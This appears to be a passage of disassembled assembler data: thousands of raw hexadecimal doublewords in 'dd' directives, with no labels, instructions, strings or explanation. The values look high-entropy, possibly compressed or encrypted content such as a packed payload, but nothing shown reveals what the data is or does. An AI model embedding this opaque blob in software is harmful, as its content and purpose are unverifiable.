		dd 4DC35E85h, 0D2AEE9E2h, 0F27A487Dh, 445A660Eh, 0A4C4D2F7h
		dd 787CF49h, 0E6705C05h, 7DA35FDFh, 0DDEE1341h,	0E9140252h
		dd 284B2FBCh, 7ADBEBB0h, 0CE02177Dh, 4EE8359h, 0C6AD8F87h
		dd 12910E4h, 40722BEDh,	44C50164h, 58080391h, 0DE7BA68h
		dd 5DAF245Bh, 123EE793h, 96548D1Ch, 7010A508h, 0CA292606h
		dd 2A66A508h, 6959F069h, 0A42FEDE7h, 5B0250E9h,	5C02D3BAh
		dd 0DB25C831h, 0EFB1C56Fh, 4105AA87h, 184CF01h,	0B8E4081Bh
		dd 4C14E902h, 0A4D9B330h, 0E33F833Ch, 0E73F64F9h, 3B51F360h
		dd 17C0310h, 8FB1E9D8h,	0F5202605h, 0E420148Bh,	0C41C580h
		dd 1EB35366h, 0DDE0DA0Eh, 0F2EBEDF8h, 50B52660h, 0F3483D92h
		dd 0CCEE495Fh, 1233D001h, 5A5B59h, 99685222h, 65498D74h
		dd 76E909BAh, 0D0E51084h, 0A4C8914Ch, 99472050h, 2454653Fh
		dd 68598657h, 0E9310506h, 0A92B290Dh, 854854F4h, 0F3B2EF7h
		dd 0F8053FA3h, 0F62D5Fh, 0D30514F6h, 531D681Eh,	0CFC3D0F7h
		dd 0E70A3845h, 632ED680h, 94C16801h, 72686173h,	303A6349h
		dd 65620EBBh, 705A26E9h, 76B4639Dh, 3553DED1h, 87B9201Ch
		dd 5E4FA3C4h, 24AD51Ah,	740D2580h, 81167AA3h, 203A5C3h
		dd 954093A2h, 0A71BB982h, 3A35681Ah, 0EBE9444Fh, 383E2D0Bh
		dd 0EF0C4DCFh, 1303B484h, 0C2AEAA10h, 0E2015AD5h, 19B28BA2h
		dd 16323453h, 0FC8C7148h, 6B20E941h, 7A316630h,	0E248133h
		dd 0D6E80F75h, 2D82989h, 140181Fh, 8008E3C1h, 2C292E2h
		dd 98DF892Eh, 31CF025Ch, 4F273373h, 62329F61h, 0C0CD3B63h
		dd 0A1A74ABFh, 4147E8F9h, 325C56A9h, 818D5088h,	2315980h
		dd 5D575EF7h, 65C1215Fh, 60CF2542h, 0D70DFD5h, 0DB8CACF1h
		dd 0FB1863h, 0C02FB06Ch, 0D8F602E0h, 4C8FE00h, 58C7289Bh
		dd 0F8ECCF2Ch, 1C8B083Dh, 7665E941h, 3F7E1424h,	5F1C9669h
		dd 0E7814047h, 76FF199Dh, 7C3FF090h, 2C70E309h,	53E9592Dh
		dd 100E6809h, 27E92418h, 0D108769h, 1F206C95h, 0FDD1419Bh
		dd 4B0BA496h, 6C1082CAh, 1DD6B800h, 2D051F8Ch, 7B1E5717h
		dd 0C0552412h, 715F24BDh, 0EC0D3DE2h, 3A2909FCh, 0BB004CDFh
		dd 38923722h, 3DEA0126h, 68287D20h, 16CB1B6Eh, 60EA92BDh
		dd 303BC2F3h, 503659F7h, 7702DEB8h, 0E8C1363Ah,	0E35E6106h
		dd 2C9C8EACh, 93150889h, 4BC1F29Fh, 0D331E46Ch,	0E8EF2E70h
		dd 6FF00908h, 8E88DF01h, 445B1E08h, 8A3C8BF8h, 3D6B16DAh
		dd 4C80D734h, 605011ABh, 6AEA5248h, 477D3B63h, 21BA8751h
		dd 0DC0BA60Ah, 4820E31Eh, 1E20B343h, 5B039B98h,	319A99E8h
		dd 0EB97EAF8h, 4964BE9Ch, 357C4B33h, 13ED0C6h, 271E14F0h
		dd 1F57EC51h, 1ABC7E99h, 0EA26DB55h, 52966611h,	0C33F86EAh
		dd 7F1D7C0Bh, 0FAEC2F8Fh, 0ED16D022h, 3E06B753h, 3B14DDA7h
		dd 0E2A4F729h, 0E46884A1h, 450C9167h, 904EA32Ch, 4E52660Eh
		dd 0C52E8EBAh, 0CC89D531h, 0BBFC53D5h, 7A4D5C15h, 31901820h
		dd 68A97B54h, 4401C826h, 0E5805A64h, 2E0DBEEAh,	0A47E16BFh
		dd 1275A67Ch, 908594C3h, 5A35F99Fh, 1C82548h, 0E5D7D20Ch
		dd 4680DA01h, 430466C2h, 0BE045639h, 64A76295h,	463054C7h
		dd 5C29F64Ch, 0C204B9F2h, 0D268D3E9h, 4E0C90h, 78B3279Bh
		dd 0E9E0A050h, 98F9507Dh, 16CF0168h, 56593742h,	75C1F557h
		dd 483258h, 504DC2F1h, 58D18776h, 0E9096F4Ah, 0EFAC7CA8h
		dd 4902826h, 646C052Eh,	2902096Fh, 5112F0h, 38065F8Bh
		dd 1CEF2C68h, 700EC026h, 46D52A47h, 9245200h, 18274A68h
		dd 4BECE9CBh, 0C3D7222Ah, 0A924C212h, 0B0596603h, 5D7F0B96h
		dd 6D0F1D09h, 4B08A81Ch, 52083458h, 0E9FE42D6h,	0EFC988CAh
		dd 25A2DDDFh, 58C3DCD4h, 76CB60C1h, 9DFB1BC4h, 958792D4h
		dd 0DD94C027h, 3BBE9690h, 6F60F53h, 708AF001h, 0D7B981D5h
		dd 0E90EB018h, 212825A1h, 0A296332h, 4D055DE8h,	458888A4h
		dd 285B0B66h, 0E5C06001h, 0AA557007h, 0E9DDF606h, 0F78475h
		dd 6C6B36C2h, 0F7E2D11Dh, 22ADA4Ch, 0F12363C5h,	0FFBF0089h
		dd 452CD87Ch, 1054531h,	2C895FFEh, 4AB05A46h, 83BB240Fh
		dd 37AD8D21h, 0E0C3C7DEh, 2317E9DAh, 0C0340A92h, 59B0B504h
		dd 77FF1D07h, 890F4B1Ch, 0E626D014h, 0C287E4D6h, 44771055h
		dd 273988BEh, 55863724h, 5F9D1036h, 0EB14624Ch,	9B10C419h
		dd 0D0011350h, 0D7605F04h, 92685301h, 102D667Fh, 5448631Fh
		dd 20692512h, 150DCB15h, 51DF3448h, 5A08010Eh, 0D230FC5Fh
		dd 0DD580392h, 6BB7577Fh, 0BC798AB4h, 0FD399CE8h, 0A794D998h
		dd 921FEF45h, 7A6239A4h, 15A0516Bh, 8A921A57h, 0C648D2h
		dd 125E6502h, 28B306BEh, 99E35250h, 0C7E96106h,	80FA0D5Eh
		dd 2A50E085h, 40584823h, 12D0740h, 72E1279Ah, 805E829h
		dd 0B3DB9A5Dh, 24322173h, 0EDBA000Eh, 0E912C537h, 0B89C34E5h
		dd 0C1288300h, 0D781051Bh, 29E47F3Eh, 26A7F9ADh, 510F3385h
		dd 0F316A0D4h, 4B201141h, 0BD5667E5h, 0D444D4C5h, 7C7CE6BDh
		dd 688005F6h, 1A33ED79h, 4093BD48h, 6638ACD0h, 0AEC1457Ch
		dd 3C7E1B12h, 48802D60h, 0B8C31340h, 4DF2EBFh, 81FB8121h
		dd 592570F3h, 8927227Bh, 0CCAA1B68h, 1F12ABC6h,	2EC3835Ah
		dd 60310F8h, 2B3F2D64h,	857130EBh, 0A23B20A7h, 0C10F5EE6h
		dd 0E54604EEh, 0F75E530Eh, 5619F385h, 0E9F11FC3h, 1A94521Ah
		dd 8901D6ADh, 294B8E74h, 3C59F9EEh, 0D3F70E42h,	5BF67953h
		dd 94BFF9BFh, 7582B148h, 0C0E3A90Ch, 0D018692h,	34E1767Ah
		dd 807FCA70h, 3AC6E1C0h, 48F369Dh, 0F6219FC7h, 48308D48h
		dd 7603C601h, 0C10CD062h, 0F6F400E6h, 3EF85E1Ch, 8693FE9h
		dd 56C5C844h, 9A0D5C68h, 1848369Eh, 180A72FDh, 0F7774A1Ch
		dd 0FE7616EDh, 0AD30323Ah, 6AF8DC81h, 7E562003h, 3A661400h
		dd 0EC3E5D05h, 0D0293E56h, 3B610751h, 8254E8E5h, 669D4480h
		dd 4AD3E459h, 0A32B0C14h, 0B22E6873h, 2C4E745h,	0F3FDE943h
		dd 0E4B14207h, 8893D9F6h, 0EA2D1205h, 1E4CC5Dh,	8F50FA0Fh
		dd 14146902h, 37BF31C5h, 85CC340Bh, 8E2C154h, 3F7820A0h
		dd 8510020Fh, 695E2626h, 435A51A8h, 40BD6B05h, 0D33270Ch
		dd 6FF32E80h, 2EB6076Ah, 0DC97F30h, 4E7BCD62h, 870C8319h
		dd 0D25C9A96h, 4468D34Eh, 9DB4CBEAh, 6813C5A8h,	9F6355B7h
		dd 0F7491D07h, 0E2DFCBD6h, 2D05E1ABh, 87189255h, 60E08209h
		dd 1122D1Eh, 7EBFDC7h, 3F9565FBh, 9581AAB4h, 0C037818Ch
		dd 43010587h, 1B67F65h,	0D32E35ECh, 7EEDCA16h, 68B17654h
		dd 17161B4Eh, 0CA02418Ah, 36CC6859h, 0FF241566h, 9A254574h
		dd 0F9010BAh, 0E9C816BEh
		dd 30344531h, 0C1C584FEh, 8724ECEDh, 5A2CF859h,	8FB551C0h
		dd 4CE070B6h, 301010EEh, 3C894C8Ah, 0FCB0180Ah,	1F02B9E8h
		dd 0C6E1370h, 0EB9F4A52h, 0B745D48h, 82A75AE5h,	68B3315h
		dd 0B4EF9C31h, 3DC40D06h, 0CDFE9A47h, 0F586C520h, 8DE6CF6h
		dd 0A62CE914h, 5080BD73h, 14BC703h, 72D51C8h, 0BE49ED22h
		dd 0CDA0082Dh, 9F05D3EDh, 0DDF76519h, 52305710h, 0A429616Fh
		dd 25351BE9h, 0C8BBF7CCh, 1926958h, 23887F58h, 0B2F4C621h
		dd 507B20Ah, 6B7782Fh, 5A038255h, 862691F1h, 40D942h, 0CB296468h
		dd 0B4F65EFCh, 0F6967A68h, 0FFCF83C7h, 0FAF9395h, 44F93059h
		dd 1212CDBBh, 0C4524249h, 7D600D43h, 1CD5F827h,	2EF0C63Ch
		dd 13EF3175h, 337F0315h, 0C2582CF3h, 2ECFDCFh, 7DB640A8h
		dd 9A8BED59h, 2E60B2Eh,	12F93C90h, 0C3F4CB8h, 4E5258BAh
		dd 0FB01EAB0h, 0E9061A09h, 55936CAEh, 285D00E8h, 53112CD8h
		dd 0E940B709h, 33DDC172h, 0A231DF42h, 71E721E2h, 55590176h
		dd 33304A68h, 0D08122BCh, 4410E65Dh, 62030B43h,	689C3038h
		dd 35153877h, 0F6E951E1h, 0C9057830h, 540C4139h, 6674FEF9h
		dd 5488F851h, 40A7982Dh, 0EA01D122h, 840FD039h,	0A485CFF7h
		dd 4148D968h, 9BBBE28h,	2542BE9Ch, 0AE019832h, 67528235h
		dd 0BB83ED25h, 398CD9EEh, 47EF6F80h, 6408BB53h,	274A9558h
		dd 10220911h, 9966AE71h, 9CE5A0FBh, 0CCE9044Ah,	0CDBA004Eh
		dd 3EF37994h, 0D512D331h, 40225ED9h, 64CE67DBh,	5B4ADD89h
		dd 8305DF17h, 219287E9h, 0BE007157h, 0AE58EF24h, 0CCEA00CDh
		dd 291DC47Fh, 8E095F94h, 249B9A35h, 0BD80AFD5h,	0A12D584Bh
		dd 4A275F06h, 538CB811h, 91558947h, 48225D71h, 4017E916h
		dd 63FBB98Fh, 817B3F3Ah, 0BC1AE602h, 0C1CF29E0h, 33017447h
		dd 10D4231Ch, 0BE005944h, 67A161DDh, 5E00F789h,	0C15FFD21h
		dd 0FE5606E5h, 997D07FFh, 0F5F52941h, 0E9910431h, 0B5EDB0D2h
		dd 4504920Fh, 84538F28h, 83D3193Ch, 863292C2h, 0F581C388h
		dd 786EBF42h, 9590123h,	56E2D1C2h, 8990F050h, 11E90AB1h
		dd 3F780714h, 0B21D354Bh, 0F2E9826Fh, 30717143h, 9D615F07h
		dd 5824C37Fh, 2D53B9C8h, 22985C0Dh, 0F6910966h,	61353E1Ah
		dd 0C2416CC6h, 30C54B8Ch, 108044E1h, 28BF61F4h,	42834C01h
		dd 28680C28h, 48C64B1Ch, 0ADB95102h, 8901C61Eh,	609C520h
		dd 87C7FBE9h, 0F94027B0h, 35723968h, 0C3A3005Fh, 26A975A4h
		dd 0E1E9430Bh, 0E7EF27D5h, 13DED473h, 45B540Eh,	0B482DAF7h
		dd 33410AA4h, 277FF86Dh, 0F6982809h, 4E9247D7h,	5A5EF001h
		dd 8F53F801h, 0B18B9892h, 0FB2E3E9h, 0EE88D068h, 398F6816h
		dd 0F1A7E137h, 1874CC0h, 0AD5A5859h, 1D59135h, 2810C6A4h
		dd 7CCAD81Bh, 1F5C37FEh, 10720AFh, 2F636CC3h, 2C8FE9h
		dd 94545368h, 71E95046h, 0BF31614Eh, 0A1055016h, 0A544DAECh
		dd 1C125843h, 6B0FE441h, 3440FAB0h, 69095B8h, 580EB1C5h
		dd 0C2012A17h, 0A675A0E9h, 82F821A2h, 91B0E696h, 84EB1673h
		dd 2C85C1C7h, 27BF897Eh, 549B991Dh, 84644CFEh, 27A99C06h
		dd 0E390D39Ah, 54822603h, 0D9014259h, 720262E2h, 0A5D026E9h
		dd 0D019564Bh, 0F1DEE686h, 6C183CF2h, 6C9FF45h,	30A3E4E7h
		dd 9E59CF3Ch, 380D4CE7h, 0AA118D08h, 4722D0C7h,	0CA0BB227h
		dd 12253C90h, 0DCAD2C89h, 6E4CBC1Ah, 0A30B3190h, 0A314869h
		dd 89A807E4h, 0A83FC504h, 17542958h, 63347916h,	4702E527h
		dd 0F67CC5BDh, 0C1E16255h, 58024365h, 6E9C5778h, 90485251h
		dd 1A60BB5Ah, 0FA8206D2h, 34CCC644h, 62615B22h,	1155101Ch
		dd 0C7173E47h, 0C1D9EDC4h, 0D8F4E921h, 8281811Fh, 0A32DEA14h
		dd 0AE7D87Ch, 0DAB273A9h, 0CC7912CDh, 472468BAh, 8269A317h
		dd 6BE0B0D2h, 444AC0FBh, 0C80105E4h, 0C0C58959h, 2549C275h
		dd 935763Eh, 2B41E9EAh,	0C5CF066Eh, 0C8213A3Ah,	2D5A2548h
		dd 8106143Eh, 2A52E9D2h, 0E04B7B0Bh, 75D3F785h,	68200C81h
		dd 0EB113937h, 0EA97DB04h, 428689CEh, 99E97F94h, 1EE420FFh
		dd 0D9585908h, 0E2548995h, 0CD351C60h, 0E59D6880h, 9451AC4Ch
		dd 4C056AFCh, 702DE9BBh, 52351032h, 0C8979654h,	5EE94206h
		dd 0B4B4D070h, 8B76D0D2h, 4C4DEA19h, 0B864A38h,	4A8051D6h
		dd 937408Bh, 214A78F8h,	37EF4E8Ch, 0E34E335Dh, 3417CAFFh
		dd 3942DBF7h, 6063377Bh, 247D21D7h, 0A6DA4D77h,	0AC46A674h
		dd 37721333h, 0C93FAC1h, 0F59B1E64h, 3698C454h,	7D353D4Fh
		dd 7111C3B2h, 0ABEF2534h, 350922BEh, 0B277D3F9h, 0B5830h
		dd 0DD05C74Ch, 29A11E07h, 120156FEh, 8C6856FFh,	0DA41F401h
		dd 879C8FAh, 98640609h,	107C2944h, 0C91DAF9h, 7291355Fh
		dd 740CDABBh, 31F5AC37h, 80F389CBh, 2EC6C360h, 140161D5h
		dd 8BA52FBh, 82D292Eh, 10272326h, 0B1185815h, 0C45C09E2h
		dd 8DF0AA44h, 0C1134192h, 76A606EBh, 226E2100h,	16C98165h
		dd 0A3012E28h, 6017ACECh, 4F0B3743h, 4A2B0612h,	62D30C0Ch
		dd 87247495h, 0E03D5F25h, 0EC90BD1Fh, 0CB312C6Bh, 0E9451543h
		dd 307C8191h, 5D8AEC75h, 5000F729h, 30081AB8h, 45B3507h
		dd 0E9494837h, 7911AC7Dh, 0C9D88925h, 9249CD5h,	97AE9A58h
		dd 5FF98D30h, 599605B1h, 0F1F77720h, 0BC1FE6E9h, 5B6960E5h
		dd 52B036DAh, 0CDC6ABD8h, 42601DA5h, 15ED816Bh,	4021527Eh
		dd 0F54620DCh, 0B881F24Eh, 3F7CC996h, 51D82883h, 0D750ECDAh
		dd 7C3C599Ch, 1C335DB4h, 813300ADh, 9743FAF1h, 0A57DF301h
		dd 4DF99A32h, 920946EDh, 6046FEA6h, 0CD68451Dh,	6216DE11h
		dd 8716C159h, 3227290Bh, 0CABF6246h, 618E325Eh,	45C466AFh
		dd 4C249877h, 0D9A40D79h, 15FA220Bh, 8099461Eh,	137A66EEh
		dd 0B15C5031h, 20CCA45Bh, 2082511Dh, 68507980h,	0E22C6107h
		dd 94034D11h, 0A80BFE4Bh, 0CF5EBEC5h, 0C1A7C7E2h, 57E9F2EFh
		dd 12C0DD8h, 0F70394D0h, 0E92A6F4Ah, 75277B15h,	62D2591Dh
		dd 90C2E720h, 3C221F52h, 81816D2Fh, 866AAD0Dh, 0F663780Ch
		dd 5BDD2FCAh, 0DDC4F409h, 57063E99h, 97C5F54h, 508330F1h
		dd 435FE2F0h, 5152D700h, 4A88D5B5h, 7C592CEAh, 0E743C341h
		dd 0C197019Ch, 0C8310CE8h, 73356850h, 0F277D775h, 6725DE58h
		dd 488E3108h, 10D79ED6h, 2F6809FAh, 91D79A41h, 0B5145F6Eh
		dd 0C55522F7h, 0FBB33216h, 434CF956h, 0E1BEE912h, 0EFA13031h
		dd 10882900h, 5FF80108h, 8DBB250h, 72652D64h, 4B07C214h
		dd 2119BA8Ah, 255A6BD0h, 18F89089h, 0D5BA9539h,	9F10CDD8h
		dd 3A512D68h, 0A0F27A70h, 3D271FB5h, 0EE025AAh,	9477F1B2h
		dd 0D4BD5500h, 2D7BAE4Ah, 5DDAE209h, 0F108174h,	0C3800E02h
		dd 50D301B8h, 0ECE0F4B4h, 0C4FE3371h, 0CCC1D10Ah, 80840AFh
		dd 5807E328h, 0E8B1515Ah, 9E28520Bh, 0F0E55BD5h, 0FE38B8D3h
		dd 80703F4Bh, 0C32D08E0h, 18E649h, 0A40F7835h, 6B054038h
		dd 79699C12h, 0C3B6008h, 0F6D4CE29h, 0A809A101h, 5EF1012Ah
		dd 0D4BE522Bh, 2DE72811h, 31B03895h, 13628221h,	9B08FCD1h
		dd 0B06809D8h, 0A8B93DD1h, 10CB9E3h, 0D86FCB38h, 14660254h
		dd 3A98E90Ah, 1BAFCC51h, 8E27FB9Dh, 19ED0E6Bh, 53166E7Eh
		dd 79ACA3F9h, 0A95BDF2Dh, 8F02C0A5h, 43461314h,	364A0955h
		dd 69CA0D51h, 41D95E44h, 0E9C59878h, 834CA02Ah,	2F04E83Ch
		dd 5BD78577h, 6512E99Ch, 0BF08F48h, 7C277060h, 950E655Fh
		dd 598ED8DFh
		dd 32059598h, 3171A23Ch, 25682380h, 0ACBC916Bh,	0F66313A7h
		dd 5F8A923Ah, 0EFC9E90Bh, 34FDDE4Eh, 0EB4A29EAh, 9E87D3C8h
		dd 0F664155h, 10E362BBh, 5C0CC079h, 91153CD3h, 7788FA40h
		dd 0A194AECh, 2F15DCCh,	3C0F0B2Dh, 0C65F3544h, 1A68BF42h
		dd 0F8EFE669h, 0E95613E2h, 0D6759263h, 0F628D2D6h, 9FEED48h
		dd 0A9552584h, 58167A05h, 2800D95Dh, 2D56B40Bh,	8430B67Bh
		dd 7CC93435h, 29432769h, 800E1C2h, 9CB6858h, 2C20A8ACh
		dd 0B231FD33h, 19DD8A40h, 0C486472h, 0F5AD8315h, 1693EEE0h
		dd 1D0C603Eh, 0B28103EBh, 0DD3FE964h, 0D09DE678h, 7ACA4E77h
		dd 1F10BD4Ch, 1B0526E8h, 1CC65D44h, 654D241Ch, 57C04070h
		dd 0FDFC4AF4h, 5008C0D0h, 0CBBEC839h, 90115862h, 9DBFA7D2h
		dd 4D56EF3Ah, 0C960E9A7h, 4FC766E2h, 26E4295Dh,	0BAE90B89h
		dd 2E21106h, 0E08D0511h, 95E4512Dh, 3A792303h, 1CCDEE9h
		dd 7BD8C57Fh, 0F1891E24h, 0E234705Dh, 89E77628h, 0AE21C13Eh
		dd 94081AB2h, 0FE680E62h, 0EF7CCC13h, 0D1C90A4Bh, 4DB9F42h
		dd 24048653h, 0D92D480Fh, 5B9DC51Bh, 0ADE561A8h, 0FF68169Eh
		dd 0F9E9F8C1h, 0CAAFDCEEh, 3B8B8A04h, 0CE124341h, 0D6913240h
		dd 48F7FDF1h, 531D72AFh, 0E6814519h, 18E154EDh,	4B31720h
		dd 0E93DD149h, 35C8F102h, 92562D77h, 53523040h,	26277368h
		dd 1215E1Ch, 0FE22BAEBh, 0BD157026h, 371E0407h,	1F3DA89h
		dd 0E93C1654h, 581183B7h, 678BBB2h, 392B0500h, 295904EAh
		dd 0EF2D0BC8h, 0B2826348h, 0C6206CB6h, 7B693C31h, 85CC4F33h
		dd 0CC54B893h, 40F354C1h, 0F72C80BEh, 66075F9Bh, 2CE0E730h
		dd 0B8F82848h, 5201013Eh, 0EEC07CB6h, 3068904h,	20F25080h
		dd 350558FCh, 4170377Dh, 0C5F88354h, 0D4D2D7E9h, 90A17059h
		dd 3FB67037h, 20905450h, 8D5724CCh, 0A9F30509h,	94E1029Dh
		dd 0F5DD2F0h, 0F652E2C7h, 0EB25AF69h, 1072A958h, 5A1641A0h
		dd 449A165Dh, 0B8CF89DDh, 0D0AD8F40h, 0E813523Bh, 478DD022h
		dd 33500350h, 3A16E1EAh, 0C4C57241h, 385673F3h,	38A6E938h
		dd 1642A54Ch, 44EB7571h, 0CD625D6Fh, 6616916Bh,	0E01BE927h
		dd 6C7BE11h, 310DB85Ah,	0E72DBACEh, 0B7164E18h,	135D9600h
		dd 81003DEBh, 1D1999CAh, 0A808E901h, 0D4EA89F8h, 602ED971h
		dd 267CAC07h, 79A70EA3h, 0ABD97FE9h, 6B3E4019h,	0B910B5E7h
		dd 7134808h, 53A91ED7h,	48E53983h, 0EF01F55Eh, 18785BD8h
		dd 0BA103E29h, 71B66408h, 80D2F600h, 6CF6BC2h, 0FB64A495h
		dd 0CA449899h, 0BF78D2DDh, 0E968B0A4h, 61E37B55h, 0D63C3D56h
		dd 444F3A8Ah, 134F2FE1h, 0B47B22A3h, 9376A98h, 0F9460622h
		dd 0E0195829h, 6E0F016h, 90055BADh, 0EDBD55EAh,	81F42F75h
		dd 6F27F506h, 90C3744h,	104538E5h, 0D2231540h, 0CAB79AB7h
		dd 5F24CEB6h, 31F545B5h, 399A9D66h, 673C84B2h, 7E76C140h
		dd 76900D2Ah, 0FF6132FAh, 6E522D69h, 783F68D0h,	0F88E9A78h
		dd 459227BBh, 2B61ECC0h, 251E20FBh, 4A623E7Eh, 40C5EA0Eh
		dd 910D5E3Bh, 7C340898h, 0FD168317h, 40F0C5B5h,	2CC7A430h
		dd 196D5755h, 6A5A82C1h, 0A8DAC04h, 2D4C0AA2h, 727FC905h
		dd 2EBE24Fh, 12FFA3Dh, 8457047Ch, 890B01CBh, 357FE9F7h
		dd 0E55B78C8h, 48628927h, 50EC481Ah, 55F80968h,	92DA2603h
		dd 376FFA37h, 0F800E48Bh, 27C34E99h, 94D085ABh,	912FE932h
		dd 84395C06h, 26FC02EBh, 5B4622F5h, 0E9C51032h,	24B897BCh
		dd 0E8B63BFBh, 0EC660269h, 3B70A13h, 731AF2F1h,	86BF6F8Fh
		dd 0C75FB65h, 0BAAF150Ch, 1E632493h, 0CC4DA74Ah, 0AC62FD7Ch
		dd 0E14E3AECh, 0C9A13E24h, 0B6D31364h, 39072F74h, 0E6C131D6h
		dd 0FA226002h, 0DC8E9713h, 99050112h, 3A827691h, 5A834059h
		dd 13B0AA9h, 3E072DF0h,	0BC5E1450h, 63C32D63h, 0FE5C0D26h
		dd 0AB21B312h, 372BBB44h, 0B4F92C2h, 90AB537Ch,	1E81988h
		dd 7C8BD4BAh, 22136ADBh, 6147FC81h, 0D6EF3994h,	3F57C804h
		dd 10F2991Ch, 6EEEE9DCh, 0B0F6A0B5h, 0F6297F16h, 296C9A54h
		dd 52FDE789h, 0AE6C6CF9h, 0F2F28A02h, 5B6F683Fh, 0B1511D20h
		dd 31E925CAh, 4378B343h, 0C5525825h, 0E9F724DDh, 5058A666h
		dd 888507CCh, 0C53059E8h, 55156858h, 1CBE360Fh,	0BF4C6ACh
		dd 0BEA23C64h, 52465AD4h, 0BA01D69Bh, 10B840CFh, 1DC80930h
		dd 0AC3FE369h, 18784E5Ch, 0D62417B3h, 44020979h, 0CA319C56h
		dd 62B0892Ah, 0EF1EF456h, 0EC561192h, 1A2855Fh,	0E745C454h
		dd 5E1E01Ch, 0F7AE5154h, 790BD76Ah, 4E38803Eh, 60E9125Ch
		dd 0F192A83Fh, 827204E7h, 0C0D9F747h, 974FFFC3h, 0D54C6578h
		dd 14249ECh, 281681B8h,	0FEE82D5Ah, 9E61671h, 20BF2DC5h
		dd 6005A5D9h, 9BE91F87h, 1DB99247h, 798417h, 0E4E809B2h
		dd 2F53B8DEh, 0A2A5CF69h, 7D05B220h, 857DB26h, 1698567Ah
		dd 0DC0552C2h, 66417323h, 24795D32h, 482667C8h,	4EB50FFAh
		dd 3DA2106Bh, 50EAF028h, 7C086F61h, 5C81C59Bh, 858A49Ah
		dd 0D62CE84h, 2D3E4659h, 56B461A8h, 0B70959B9h,	82F780A9h
		dd 14318191h, 0C96C8341h, 0D06D97Fh, 9D93415Ch,	2046F530h
		dd 421DE171h, 0C98331C6h, 0C51941B5h, 2A8349C1h, 0D97A31DFh
		dd 0DD50589Fh, 242C25EFh, 2084AB1Fh, 0BDD3B925h, 5356A113h
		dd 5F14262Ah, 918E352h,	7E686716h, 891A4Ah, 0A76E40E0h
		dd 27762820h, 0C2396BB4h, 290CA583h, 523A26C3h,	671A03DAh
		dd 0E5E94488h, 0E1807509h, 4FFD0415h, 0B8CE0104h, 0C556CF58h
		dd 4A5A3ED2h, 7F724410h, 125A4EC3h, 25D5B366h, 2D496453h
		dd 0B8B861D7h, 120EE8C1h, 2968C831h, 0C179B67h,	6A74E9B7h
		dd 2E022D16h, 1614A4Ch,	0EAD6C2h, 3D73285Ah, 7106560Dh
		dd 0D8F753BEh, 0F7A02E0h, 76E92CD5h, 2912AB74h,	271AFB06h
		dd 6E680499h, 8038A930h, 0BCC1F37Dh, 92E7A13Eh,	0BFC2ADE9h
		dd 69127E54h, 68E12B51h, 94637EE8h, 0D6A5563Ch,	53E93601h
		dd 3E6D3939h, 3A25920Eh, 99B63A01h, 5F61D8DDh, 0E093A628h
		dd 0C0401F7Fh, 10E60481h, 0B036F92Eh, 0BF0522F1h, 5EF1311Eh
		dd 0CFE99B02h, 0F166046Dh, 9FED3B9h, 7CCB6848h,	140C8950h
		dd 90D23381h, 0C1D2F708h, 0E94C282Eh, 5AD83CF5h, 41B5ED2Ch
		dd 0CBCB60B7h, 9E76AD68h, 0A17B40Ch, 29A43FE3h,	27AF18DFh
		dd 50FC6A1Ch, 0D4E0B8F6h, 2538E917h, 0CC23A88Dh, 0AE5BD815h
		dd 0B0EFA8D2h, 7E6A2340h, 0E1EA0B1Bh, 0B802480Dh, 0E30B5EBCh
		dd 25B8C9B9h, 61A11DEFh, 0A279981Ch, 832C4591h,	8C02B65Fh
		dd 581F0201h, 0AD6AB939h, 0B3E9C421h, 0EE902405h, 0AEFEB8CEh
		dd 305BA4C6h, 275779C8h, 8E8997E9h, 0D8C31002h,	0C43B8B09h
		dd 46FB4B17h, 21CEB81Ah, 97F54695h, 0EA58C58Bh,	0A2002298h
		dd 4D24290Ah, 0B83BC581h, 1F0B761Fh, 0D83DF5E5h, 17ED1A02h
		dd 68033218h, 0EC284826h, 9506BF66h, 0D99E6C56h, 6E02BD09h
		dd 0B9EF8C35h, 6165085Ah, 0BE784025h, 1D132801h, 25D97798h
		dd 0F561D60Dh, 0F1BC30D1h, 976D470Bh, 6D7E0A5Dh, 0F089813Ah
		dd 59CB297Eh, 0BEE92D89h, 4A7E9DC2h, 8A498496h,	0D8E3EABFh
		dd 532D4FBAh, 160D24F0h, 945967F8h, 0BBC8F0A7h,	2F34E20Ah
		dd 8706F977h, 4ABC31Eh,	8F7856C5h, 0CDCB1C29h, 1CC58B59h
		dd 179425BFh, 0DACA0379h, 593DD000h, 30E9496Eh,	5618427Eh
		dd 29265E5Dh, 0BA1850EFh, 788F648Ch, 0C2594A02h, 0C551BEFDh
		dd 0F9C813Dh, 0F1011730h
		dd 35047277h, 856F562Ah, 0B06900C3h, 0C17B980Ah, 8003E23Ch
		dd 0BE574CF2h, 942CE9BFh, 46C9269Ah, 57AA6D64h,	44FCA5E6h
		dd 0BA240095h, 17673D29h, 0D12138h, 4F43F11Dh, 0E92E108Ch
		dd 58890FE1h, 0A846D356h, 5BBA2765h, 22F286E6h,	0E201B5B1h
		dd 0FC1510Dh, 26C81420h, 0B13145Fh, 0C64AC325h,	566098D2h
		dd 7B779824h, 0DE892455h, 0A9F61D0Ah, 9394EFBDh, 3D2EE093h
		dd 7B0C6DE8h, 5FD79FE9h, 65E20AEBh, 10E26301h, 895E1258h
		dd 231A009h, 0F2F12180h, 4012A81h, 89565E36h, 95A63251h
		dd 4DE90CAh, 7E8719Fh, 8407014h, 5A42B05Eh, 0AD613402h
		dd 348C10E4h, 2882BE00h, 0CE816EABh, 0A61CF709h, 20A8507Bh
		dd 69A0FD0Dh, 0ADB142C5h, 8068B581h, 0F030F0EDh, 11C3824Ah
		dd 727B3D9h, 0F9D154C5h, 51621C8Bh, 0F16487C9h,	665CC8E0h
		dd 62FC1012h, 0C564861Fh, 18D4F601h, 0EA882206h, 4FB63E9h
		dd 6DB15102h, 1B8DF82h,	4073F0BBh, 4BD3F7C5h, 0F70E06D2h
		dd 7E36505h, 80DCFE80h,	0BD6D4C60h, 2C0DB105h, 3DAEBD47h
		dd 16388CCBh, 19290C1Eh, 3676901Ch, 0D0C5C31Bh,	7E4915E1h
		dd 0E6C15E5Eh, 8900D507h, 5A1D2057h, 5146FC1h, 77811F04h
		dd 0C91AFE06h, 0D79020ACh, 1095Eh, 647726C1h, 7BCD58DAh
		dd 41878283h, 1C920860h, 0B2D778A2h, 825C8938h,	0F2BC32F7h
		dd 4FE40938h, 33891EF1h, 42B1204h, 8C1E6C0h, 0ED4C688Eh
		dd 12E5EE52h, 0B64D461h, 0FB48505Bh, 0F85040B3h, 6A4BB0D3h
		dd 5D682388h, 0E9C22F85h, 0EC224B5Bh, 5D14F2B3h, 21B1FEE6h
